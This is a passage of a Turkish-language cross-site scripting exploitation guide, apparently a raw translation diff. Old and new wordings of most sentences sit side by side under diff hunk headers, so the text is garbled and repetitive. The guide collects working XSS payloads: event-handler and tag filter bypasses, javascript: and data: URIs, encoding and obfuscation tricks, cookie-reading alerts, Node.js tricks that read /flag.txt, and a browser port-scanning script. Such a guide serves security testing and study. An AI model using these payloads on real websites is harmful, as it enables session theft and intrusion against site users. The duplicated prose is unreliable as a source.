_**Not: Bir HTML yorumu**** ****`-->`**** ****veya**** ****`--!>`** ile kapatılabilir._
_**Not: Bir HTML yorumu** ****`-->`** **veya** **`--!>`** **kullanılarak kapatılabilir.**
Bu durumda ve siyah/beyaz listeleme yapılmamışsa, şu gibi yükler kullanabilirsiniz:
```html
@ -163,15 +165,15 @@ Bu durumda ve siyah/beyaz listeleme yapılmamışsa, şu gibi yükler kullanabil
<svg onload=alert('XSS')>
```
Ancak, etiket/özellik siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **zorlamalısınız**.\
Hangi etiketlerin izin verildiğini **belirledikten sonra**, bulunan geçerli etiketler içindeki özellikleri/etkinlikleri zorlayarak bağlamı nasıl saldırabileceğinizi görmelisiniz.
Hangi etiketlerin izin verildiğini **belirledikten sonra**, bulunan geçerli etiketler içindeki özellikleri/etkinlikleri zorlamalı ve bağlamı nasıl saldırabileceğinizi görmelisiniz.
### Etiketler/Etkinlikler zorlaması
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı bulunmayan herhangi bir etiketin olup olmadığını kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak tüm etkinlikleri **zorlayabilirsiniz** (aynı web sayfasında _**Etkinlikleri panoya kopyala**_ seçeneğine tıklayın ve önceki işlemi tekrarlayın).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ düğmesine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı bulunmayan herhangi bir etiketin keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm etkinlikleri zorlayabilirsiniz** (aynı web sayfasında _**Etkinlikleri panoya kopyala**_ düğmesine tıklayın ve önceki işlemi aynı şekilde takip edin).
### Özel etiketler
Geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve JS kodunu `onfocus` özelliği ile çalıştırabilirsiniz. XSS isteğinde, sayfanın o nesneye **odaklanmasını sağlamak** ve kodu **çalıştırmak** için URL'yi `#` ile bitirmeniz gerekmektedir:
Geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve JS kodunu `onfocus` özelliği ile çalıştırabilirsiniz. XSS isteğinde, sayfanın **o nesneye odaklanmasını** ve kodu **çalıştırmasını** sağlamak için URL'yi `#` ile bitirmeniz gerekmektedir:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -227,10 +229,10 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Uzunluk bypass (küçük XSS'ler)
### Uzunluk atlatma (küçük XSS'ler)
{% hint style="info" %}
Farklı ortamlar için daha küçük XSS payload'larına [**buradan**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**buradan**](https://tinyxss.terjanq.me) ulaşılabilir.
Farklı ortamlar için daha küçük XSS yükleri için [**buradan**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**buradan**](https://tinyxss.terjanq.me) payloadlar bulunabilir.
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -240,22 +242,22 @@ Farklı ortamlar için daha küçük XSS payload'larına [**buradan**](https://g
```
Sonuncusu, 5'e genişleyen 2 Unicode karakteri kullanmaktır: telsr\
Bu karakterlerin daha fazlası [burada](https://www.unicode.org/charts/normalization/) bulunabilir.\
Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakabilirsiniz.
Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakın.
### Tıkla XSS - Clickjacking
### XSS Tıklama - Clickjacking
Zafiyeti sömürmek için **kullanıcının bir bağlantıya veya önceden doldurulmuş bir forma tıklaması gerekiyorsa**, [**Clickjacking'i kötüye kullanmayı**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (sayfa zafiyetliyse).
Zafiyeti sömürmek için **kullanıcının bir bağlantıya veya bir forma tıklaması gerekiyorsa**, [**Clickjacking'i kötüye kullanmayı**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (sayfa zafiyetliyse).
### İmkansız - Dangling Markup
Sadece **bir HTML etiketi oluşturmanın ve JS kodunu yürütmek için bir özniteliği oluşturmanın imkansız olduğunu düşünüyorsanız**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü **JS** kodunu **yürütmeksizin** zafiyeti **sömürebilirsiniz**.
Sadece **bir HTML etiketi oluşturmanın ve JS kodunu yürütmek için bir özniteliği kullanmanın imkansız olduğunu düşünüyorsanız**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu **yürütmeden** **sömürebilirsiniz**.
## HTML etiketi içine enjekte etme
### Etiketin içine/enjekte olma
Eğer **bir HTML etiketinin içindeyseniz**, deneyebileceğiniz ilk şey etiketten kaçmaktır ve JS kodunu yürütmek için [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanmaktır.\
Eğer **etiketten kaçamıyorsanız**, etiketin içine yeni öznitelikler oluşturarak JS kodunu yürütmeyi deneyebilirsiniz, örneğin (_bu örnekte çift tırnaklar özniteliğinden kaçmak için kullanılmıştır, girişiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmayacaktır_):
Eğer **etiketten kaçamıyorsanız**, JS kodunu yürütmek için etiketin içine yeni öznitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnaklar özniteliğin içinden kaçmak için kullanıldığına dikkat edin, girişiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmayacaktır_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -272,8 +274,8 @@ Eğer **etiketten kaçamıyorsanız**, etiketin içine yeni öznitelikler oluşt
```
### Öznitelik İçinde
Öznitelikten **kaçamıyor olsanız bile** (`"` kodlanıyor veya siliniyor), **hangi özniteliğe** değerinizi yansıttığınıza bağlı olarak **tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıkladığında keyfi kodu çalıştırabilirsiniz.\
Başka bir ilginç **örnek**, `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodu çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
Öznitelikten kaçamıyor olsanız bile (`"` kodlanıyor veya siliniyor), **hangi öznitelikte** değerinizi yansıttığınıza bağlı olarak **tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak** bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodları çalıştırabilirsiniz.\
Başka ilginç bir **örnek** ise `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodları çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlama/URL kodlama kullanarak etkinlik içinde atlatma**
@ -308,7 +310,7 @@ HTML etiketlerinin öznitelik değerlerindeki **HTML kodlanmış karakterler**
```
### Özel Protokoller Özniteliğinde
Bazı yerlerde **keyfi JS kodunu çalıştırmak** için **`javascript:`** veya **`data:`** protokollerini kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.
Bazı yerlerde **keyfi JS kodunu çalıştırmak** için **`javascript:`** veya **`data:`** protokollerini kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirirken bazıları gerektirmeyebilir.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -330,7 +332,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Bu protokolleri enjekte edebileceğiniz yerler**
Genel olarak, `javascript:` protokolü, `href` özniteliğini kabul eden **herhangi bir etikette kullanılabilir** ve **çok sayıda** etikette `src` özniteliğini kabul eden (ancak `<img`) etiketlerinde kullanılabilir.
**Genel olarak** `javascript:` protokolü, `href` özniteliğini kabul eden **herhangi bir etikette kullanılabilir** ve **çok sayıda** etikette **`src` özniteliğini kabul eden** (ancak `<img`) etiketlerinde kullanılabilir.
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -352,21 +354,21 @@ Genel olarak, `javascript:` protokolü, `href` özniteliğini kabul eden **herha
```
**Diğer obfuscation hileleri**
_**Bu durumda, önceki bölümden HTML kodlaması ve Unicode kodlaması hilesi de geçerlidir çünkü bir özniteliğin içindesiniz.**_
_**Bu durumda, önceki bölümden HTML kodlaması ve Unicode kodlaması hilesi de geçerlidir çünkü bir öznitelik içindesiniz.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ayrıca, bu durumlar için başka **güzel bir hile** var: **Girdiniz `javascript:...` içinde olsa bile URL kodlanmış olsa bile, çalıştırılmadan önce URL kodu çözümlenecektir.** Dolayısıyla, **dize** içinden **tek tırnak** kullanarak **kaçış** yapmanız gerekiyorsa ve bunun **URL kodlandığını** görüyorsanız, **önemli olmadığını** hatırlayın, **çalıştırma** zamanında **tek tırnak** olarak **yorumlanacaktır.**
Ayrıca, bu durumlar için başka **güzel bir hile** daha var: **Girdiniz `javascript:...` içinde olsa bile URL kodlanmış olsa bile, çalıştırılmadan önce URL kodu çözümlenecektir.** Dolayısıyla, **dize** içinden **tek tırnak** kullanarak **kaçış** yapmanız gerekiyorsa ve bunun **URL kodlandığını** görüyorsanız, **önemli olmadığını** hatırlayın, **çalıştırma** zamanında **tek tırnak** olarak **yorumlanacaktır.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
**Her ikisini de kullanmaya çalışırsanız** `URLencode + HTMLencode` **sırasını değiştirerek** **payload**'ı **encode** etmek **çalışmaz**, ancak **payload** içinde **onları karıştırabilirsiniz**.
Not almak için `URLencode + HTMLencode`'yi herhangi bir sırayla kullanmaya çalışırsanız **çalışmayacak**, ancak **payload** içinde **karıştırabilirsiniz**.
`javascript:` ile **Hex** ve **Octal encode** kullanma
`javascript:` ile **Hex ve Sekizlik kodu kullanma**
`iframe`'in `src` özniteliği içinde **Hex** ve **Octal encode** kullanabilirsiniz (en azından) **JS'yi çalıştırmak için HTML etiketleri belirtmek için**:
`iframe`'ın `src` özniteliği içinde **Hex** ve **Sekizlik kodu** kullanabilirsiniz (en azından) **JS'yi yürütmek için HTML etiketleri bildirmek için**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -382,7 +384,7 @@ Ayrıca, bu durumlar için başka **güzel bir hile** var: **Girdiniz `javascrip
```javascript
<a target="_blank" rel="opener"
```
Eğer **`target="_blank"`** ve **`rel="opener"`** özniteliklerini içeren bir keyfi **`<a href=`** etiketine herhangi bir URL enjekte edebilirseniz, bu davranışı sömürmek için **aşağıdaki sayfayı kontrol edin**:
Eğer **`target="_blank"`** ve **`rel="opener"`** özniteliklerini içeren bir **`<a href=`** etiketine herhangi bir URL enjekte edebilirseniz, bu davranışı sömürmek için **aşağıdaki sayfayı kontrol edin**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -390,7 +392,7 @@ Eğer **`target="_blank"`** ve **`rel="opener"`** özniteliklerini içeren bir k
### Olay İşleyicileri Atlatma
İlk olarak, yararlı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
Öncelikle yararlı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir siyah liste varsa, aşağıdaki atlatmaları deneyebilirsiniz:
```javascript
<svg onload%09=alert(1)> //No safari
@ -408,7 +410,7 @@ Android: %09 %20 %28 %2C %3B
```
### "Kullanılamayan etiketlerde" XSS (gizli giriş, bağlantı, kanonik, meta)
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girişleri istismar etmek mümkün:**
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girişlerle kötüye kullanım mümkün:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -421,7 +423,7 @@ Ve **meta etiketlerinde**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**Buradan**](https://portswigger.net/research/xss-in-hidden-input-fields) alıntı: **Gizli bir özniteliğin içinde bir XSS yükü** çalıştırabilirsiniz, **kurbanı** **anahtar kombinasyonuna** basmaya **ikna edebilirseniz**. Firefox Windows/Linux'ta anahtar kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir anahtar kullanarak farklı bir anahtar kombinasyonu belirleyebilirsiniz. İşte vektör:
[**Buradan**](https://portswigger.net/research/xss-in-hidden-input-fields) alıntı: **Gizli bir özniteliğin içinde XSS yükü** çalıştırabilirsiniz, **kurbanı** **tuş kombinasyonuna** basmaya **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtar özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -429,7 +431,7 @@ Ve **meta etiketlerinde**:
### Kara Liste Atlatmaları
Farklı kodlama kullanarak birkaç hile bu bölümde zaten açığa çıkarıldı. **Nerede kullanabileceğinizi öğrenmek için geri dönün:**
Farklı kodlama teknikleri kullanarak birçok hile bu bölümde zaten açıklandı. Nerede kullanabileceğinizi öğrenmek için **geri dönün:**
* **HTML kodlaması (HTML etiketleri)**
* **Unicode kodlaması (geçerli JS kodu olabilir):** `\u0061lert(1)`
@ -443,15 +445,15 @@ Farklı kodlama kullanarak birkaç hile bu bölümde zaten açığa çıkarıld
**JavaScript kodu için Atlatmalar**
Aşağıdaki bölümün [JavaScript kara liste atlatma tekniklerini](./#javascript-bypass-blacklists-techniques) okuyun.
Aşağıdaki bölümün [JavaScript kara liste atlatma teknikleri](./#javascript-bypass-blacklists-techniques) bölümünü okuyun.
### CSS-Araçları
### CSS-Gadgets
Eğer web sitenin çok küçük bir bölümünde **XSS bulduysanız** ve bir tür etkileşim gerekiyorsa (belki alt bilgide bir onmouseover öğesi olan küçük bir bağlantı), o öğenin işgal ettiği alanı **değiştirmeyi deneyebilirsiniz** ve bağlantının tetiklenme olasılıklarını maksimize edebilirsiniz.
Eğer web sitenin çok küçük bir bölümünde XSS bulursanız (belki alt bilgi kısmında bir onmouseover öğesi olan küçük bir bağlantı), bağlantının tetiklenme olasılığını maksimize etmek için o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz.
Örneğin, öğeye şöyle bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Örneğin, öğeye şu şekilde bazı stiller ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Araçları kullanabilirsiniz, örneğin
Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Gadget'larını kullanabilirsiniz, bu yüzden örneğin bulduğunuzda
> .test {display:block; color: blue; width: 100%\}
@ -459,7 +461,7 @@ ve
> \#someid {top: 0; font-family: Tahoma;}
Şimdi bağlantımızı değiştirebilir ve şu forma getirebiliriz
Şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
> \<a href="" id=someid class=test onclick=alert() a="">
@ -467,27 +469,27 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
## JavaScript kodu içine Enjekte Etme
Bu durumda **girdiniz**, bir `.js` dosyasının veya `<script>...</script>` etiketleri arasındaki JS kodunun içine veya JS kodunu yürütebilen HTML etkinlikleri arasına veya `javascript:` protokolünü kabul eden öznitelikler arasına **yansıtılacaktır**.
Bu durumda **girdiniz**, bir `.js` dosyasının veya `<script>...</script>` etiketlerinin içinde veya JS kodunu yürütebilen HTML etkinlikleri arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **JS kodunun içinde yansıtılacaktır**.
### \<script> etiketinden Kaçma
### \<script> etiketinden kaçma
Kodunuz `<script> [...] var input = 'yansıyan veri' [...] </script>` içine yerleştirilirse, kolayca **`<script>` etiketini kapatarak kaçabilirsiniz:**
Kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içine yerleştirilmişse, kolayca **`<script>` etiketini kapatıp kaçabilirsiniz:**
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Bu örnekte bile **tek tırnak kapatılmamış**. Bu, çünkü tarayıcı tarafından önce **HTML ayrıştırması** yapılır, bu da betik bloklarını tanımlamayı içerir. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
Bu örnekte bile **tek tırnak kapatılmamış**. Bu, tarayıcı tarafından önce **HTML ayrıştırmasının** gerçekleştirilmesinden kaynaklanmaktadır, bu işlem sayfa elemanlarını tanımlamayı içerir, içinde betik blokları da dahil olmak üzere. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
### JS kodu içinde
Eğer `<>` temizleniyorsa, girişinizin **bulunduğu yeri kaçırabilir** ve **keyfi JS yürütebilirsiniz**. JS sözdizimini **düzeltmek önemlidir**, çünkü hata varsa, JS kodu yürütülmeyecektir:
Eğer `<>` temizleniyorsa, girişinizin **bulunduğu yeri kaçırabilir** ve **keyfi JS** yürütebilirsiniz. JS sözdizimini **düzeltmek önemlidir**, çünkü hata varsa, JS kodu yürütülmeyecektir:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Template literals \`\`
### Şablon dizileri \`\`
**Dizeleri** oluşturmak için JS'nin tek ve çift tırnakların yanı sıra **ters tırnakları** **` `` `** da kabul ettiğini unutmayın. Bu, `${ ... }` sözdizimini kullanarak **yerleşik JS ifadelerini** kullanmanıza olanak tanıdığı için şablon dizeleri olarak bilinir.\
**Tek tırnak** ve **çift tırnaklar** dışında **diziler** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, gömülü JS ifadelerini `${ ... }` sözdizimini kullanarak **yerleştirmenize** olanak tanıdığı için şablon dizileri olarak bilinir.\
Bu nedenle, girdinizin ters tırnak kullanan bir JS dizesi içinde **yansıtıldığını** fark ederseniz, `${ ... }` sözdizimini kullanarak **keyfi JS kodunu** yürütmek için sözdizimini kötüye kullanabilirsiniz:
Bunu kullanarak **kötüye kullanılabilir**:
@ -501,7 +503,7 @@ Bunu kullanarak **kötüye kullanılabilir**:
function loop(){return loop}
loop``````````````
```````````````
### Kodun Kodlanmış Şekilde Çalıştırılması
### Kodun Kodlanmış Yürütülmesi
```markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
@ -547,12 +549,12 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab
// Any other char escaped is just itself
```
**JS kodu içindeki boşluk yerine başka karakterlerin kullanılması**
**JS kodu içindeki boşluk yerine geçen karakterler**
```javascript
<TAB>
/**/
```
**JavaScript yorumları (JavaScript Yorumları hilesinden)**
**JavaScript yorumları (JavaScript Yorumları numarasından hile)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -587,7 +589,7 @@ console.log(log)
```
**Yorum içinde Javascript**
Bu saldırı tekniği, kötü niyetli bir kullanıcının, bir web uygulamasına zararlı Javascript enjekte etmek için HTML yorumlarından yararlandığı bir XSS saldırısı türüdür. Yorumlar genellikle filtrelenmediği için, saldırgan bu yöntemi kullanarak uygulamanın güvenliğini tehlikeye atabilir.
Yorum içine JavaScript kodu ekleyerek XSS saldırısı gerçekleştirebilirsiniz. Bu, kullanıcıların sayfayı görüntülerken tarayıcıda çalıştırılacak kötü niyetli kodları enjekte etmenizi sağlar. Bu yöntem, kullanıcıların güvenliğini tehlikeye atabilir ve hassas bilgilerin çalınmasına yol açabilir. Bu nedenle, geliştiricilerin kullanıcı girdilerini güvenli bir şekilde işlemesi önemlidir.
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -741,8 +743,8 @@ top[8680439..toString(30)](1)
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl sömürüldüğüne dair detaylı bir açıklama** bulacaksınız.\
Ayrıca, **söz konusu gönderinin sonunda** [**DOM Clobbering saldırıları hakkında bir açıklama**](dom-xss.md#dom-clobbering) bulabilirsiniz.
Orada, **DOM zafiyetlerinin ne olduğu, nasıl tetiklendikleri ve nasıl sömürüldükleri hakkında detaylı bir açıklama** bulacaksınız.\
Ayrıca, bahsedilen yazının sonunda [**DOM Clobbering saldırıları hakkında bir açıklama**](dom-xss.md#dom-clobbering) bulabilirsiniz.
## Diğer Atlatmalar
@ -797,14 +799,14 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
Eğer bir **302 Yönlendirme yanıtında başlıklara enjekte edebileceğinizi** keşfederseniz, tarayıcının **keyfi JavaScript'leri çalıştırmasını sağlamayı deneyebilirsiniz**. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için **kolay değildir**, bu yüzden sadece bir çapraz site komut dosyası yararsızdır.
Eğer bir 302 Yönlendirme yanıtında **başlıklara enjekte edebileceğinizi** tespit ederseniz, tarayıcının **keyfi JavaScript'leri çalıştırmasını sağlamayı deneyebilirsiniz**. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için **kolay değildir**, bu yüzden sadece bir çapraz site komut dosyası yararsızdır.
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**bu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) tarayıcının konum başlığında çeşitli protokolleri test edebilir ve gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin veren herhangi birinin olup olmadığını görebilirsiniz.\
Bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
### Sadece Harfler, Sayılar ve Noktalar
Eğer **gerçekleştireceği javascript** geri aramayı belirtebiliyorsanız, bu karakterlerle sınırlı olacak şekilde [**bu yazının bu bölümünü okuyun**](./#javascript-function) ve bu davranışı nasıl kötüye kullanabileceğinizi bulun.
Eğer **gerçekleştireceği** javascript **geri çağrısını** yalnızca bu karakterlerle sınırlamayı başarabilirseniz, bu davranışı kötüye kullanmanın nasıl olduğunu öğrenmek için [**bu yazının bu bölümünü okuyun**](./#javascript-function).
### XSS için Geçerli `<script>` İçerik Türleri
@ -812,7 +814,7 @@ Eğer **gerçekleştireceği javascript** geri aramayı belirtebiliyorsanız, bu
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chrome'un **yüklenen bir betiği çalıştırmasını destekleyecek tek **İçerik Türü** [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitleridir.
Chrome'un **yüklenen bir betiği çalıştırmasını destekleyecek** tek **İçerik Türleri**, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) adresindeki **`kSupportedJavascriptTypes`** sabiti içinde bulunanlardır.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -853,7 +855,7 @@ Cevap:
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
* [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır
* [**importmap**](https://github.com/WICG/import-maps)**:** İthalat sözdizimini geliştirmeye olanak tanır
```html
<script type="importmap">
{
@ -890,14 +892,14 @@ Bu davranış, bir kütüphaneyi yeniden eşlemek için kullanıldı ve XSS teti
```
### XSS için Web İçerik Türleri
([**buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Tüm tarayıcılarda XSS yürütebilen aşağıdaki içerik türleri bulunmaktadır:
([**buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Tüm tarayıcılarda XSS yürütebilen aşağıdaki içerik türleri:
* text/html
* application/xhtml+xml
* application/xml
* text/xml
* image/svg+xml
* text/plain (?? listede olmasa da bir CTF'de bunu gördüğümü hatırlıyorum)
* text/plain (?? listede olmasa da bir CTF'de gördüğümü hatırlıyorum)
* application/rss+xml (kapalı)
* application/atom+xml (kapalı)
@ -905,7 +907,7 @@ Diğer tarayıcılarda diğer **`Content-Types`** kullanılarak keyfi JS yürüt
### xml İçerik Türü
Eğer sayfa bir text/xml içerik türü döndürüyorsa, bir namespace belirterek ve keyfi JS yürüterek:
Sayfa text/xml içerik türü döndürüyorsa bir namespace belirtmek ve keyfi JS yürütmek mümkündür:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -917,7 +919,7 @@ Eğer sayfa bir text/xml içerik türü döndürüyorsa, bir namespace belirtere
Bir şeyin **`"some {{template}} data".replace("{{template}}", <user_input>)`** şeklinde kullanıldığı durumlarda, saldırgan [**özel dize değiştirme**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kullanarak bazı korumaları atlamaya çalışabilir: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Örneğin [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bu, bir betiğin içindeki bir JSON dizesini **kaçırmak** ve keyfi kod çalıştırmak için kullanıldı.
Örneğin [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bu, bir betik içindeki bir JSON dizesini **kaçırmak** ve keyfi kod çalıştırmak için kullanıldı.
### XSS İçin Chrome Önbelleği
@ -967,19 +969,21 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Dolaylı olarak `require`'a erişim
[Buna göre](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içine sarılır. Bu şekilde:
[Şuna göre](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içine sarılır:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
```
Bu nedenle, eğer o modülden **başka bir fonksiyon çağırabiliyorsak**, bu fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'a erişmek mümkündür:
Bu nedenle, eğer o modülden **başka bir fonksiyon çağırabilirsek**, bu fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'a erişmek mümkündür:
{% code overflow="wrap" %}
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
Benzer şekilde önceki örnekte olduğu gibi, hata işleyicilerini kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür:
{% endcode %}
Benzer şekilde önceki örnekte olduğu gibi, **hata işleyicilerini kullanarak** modülün **kapsayıcısına** erişmek ve **`require`** fonksiyonunu almak mümkündür:
```javascript
try {
null.f()
@ -1163,9 +1167,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kısa süreler yanıt veren bir bağlantı noktasını gösterir_ _Daha uzun süreler yanıt alınmadığını gösterir._
_Kısa süreler yanıt veren bir limanı gösterir_ _Daha uzun süreler yanıt vermediğini gösterir._
Chrome'da yasaklanan bağlantı noktaları listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) inceleyin.
